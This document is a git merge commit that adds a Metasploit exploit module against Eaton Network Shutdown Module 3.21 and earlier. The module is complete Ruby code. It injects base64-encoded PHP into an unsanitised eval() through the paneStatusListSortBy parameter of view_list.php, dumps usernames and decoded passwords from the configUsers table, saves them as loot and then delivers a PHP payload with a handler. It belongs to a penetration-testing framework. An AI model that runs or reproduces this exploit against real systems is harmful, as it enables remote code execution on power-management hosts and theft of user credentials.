Merge branch 'eaton_network_shutdown' of git://github.com/h0ng10/metasploit-framework into h0ng10-eaton_network_shutdown

Author: sinn3r

modules/exploits/multi/http/eaton_nsm_code_exec.rb

@@ -0,0 +1,137 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#   http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'Network Shutdown Module <= 3.21 (sort_values) Remote PHP Code Injection',
+			'Description'    => %q{
+				This module exploits a vulnerability in lib/dbtools.inc which uses
+				unsanitized user input inside a eval() call. Additionally the base64 encoded
+				user credentials are extracted from the database of the application.
+
+			},
+			'Author'         => [ 'h0ng10' ],       # original discovery, msf module
+			'License'        => MSF_LICENSE,
+			'Version'		 => '$Revision$',
+			'References'     =>
+				[
+					['OSVDB', '83199'],
+					['URL', 'http://secunia.com/advisories/49103/']
+				],
+			'Payload'        =>
+				{
+					'DisableNops' => true,
+					'Space'       => 4000,
+					'Keys'		=> ['php']
+				},
+			'Platform'    => ['php'],
+			'Arch'        => ARCH_PHP,
+
+			'Targets'     => [[ 'Automatic', { }]],
+			'DefaultTarget'  => 0,
+			'Privileged' => true,
+			'DisclosureDate' => 'Jun 26 2012'
+			))
+
+		register_options(
+			[
+				Opt::RPORT(4679),
+				OptBool.new('READ_CREDS', [ true, 'Extract credentials from the target db', true ]),
+
+			], self.class)
+	end
+
+	def check
+		# we use a call to phpinfo() for verification
+		res = execute_php_code("phpinfo();die();")
+
+		if not res or res.code != 200
+			print_error("Failed: Error requesting page")
+			return CheckCode::Unknown
+		end
+
+		return CheckCode::Vulnerable if (res.body =~ /This program makes use of the Zend/)
+		return CheckCode::Safe
+	end
+
+	def read_credentials()
+		pattern = rand_text_numeric(10)
+		users_var = rand_text_alpha(10)
+		user_var = rand_text_alpha(10)
+		php = <<-EOT
+		$#{users_var} = &queryDB("SELECT * FROM configUsers;");
+		foreach($#{users_var} as $#{user_var}) {
+		print "#{pattern}" .$#{user_var}["login"]."#{pattern}".base64_decode($#{user_var}["pwd"])."#{pattern}";
+		} die();
+		EOT
+
+		print_status("Reading user credentials from the database")
+		response = execute_php_code(php)
+
+		if not response or response.code != 200 then
+			print_error("Failed: Error requesting page")
+			return
+		end
+
+		credentials = response.body.to_s.scan(/\d{10}(.*)\d{10}(.*)\d{10}/)
+
+		return if credentials.length == 0
+		print_status("Got #{credentials.length} record(s):")
+		cred_txt = "#Username:Password\n"
+		credentials.each do |record|
+			print_status("Username: #{record[0]}, Password: #{record[1]}")
+			cred_txt << "#{record[0]}:#{record[1]}\n"
+		end
+
+		loot_name = "eaton.nsm.credentials"
+		loot_type = "text/plain"
+		loot_filename = "eaton_nsm_creds.txt"
+		loot_desc = "Eaton Network Shutdown Module credentials"
+		store_loot(loot_name, loot_type, datastore['RHOST'], cred_txt, loot_filename, loot_desc)
+	end
+
+	def execute_php_code(code, opts = {})
+		param_name = rand_text_alpha(6)
+		padding = rand_text_alpha(6)
+		php_code = Rex::Text.encode_base64(code)
+		url_param = "#{padding}%22%5d,%20eval(base64_decode(%24_POST%5b%27#{param_name}%27%5d))%29;%2f%2f"
+
+		res = send_request_cgi(
+			{
+				'uri'   =>  '/view_list.php',
+				'method' => 'POST',
+				'vars_get' =>
+					{
+						'paneStatusListSortBy' => url_param,
+					},
+				'vars_post' =>
+					{
+						param_name => php_code,
+					},
+				'headers' =>
+					{
+						'Connection' => 'Close',
+					}
+				}, 5)
+		res
+	end
+
+	def exploit
+		read_credentials unless datastore['READ_CREDS'] == false
+		print_status("Sending payload")
+		execute_php_code(payload.encoded)
+		handler
+	end
+end
+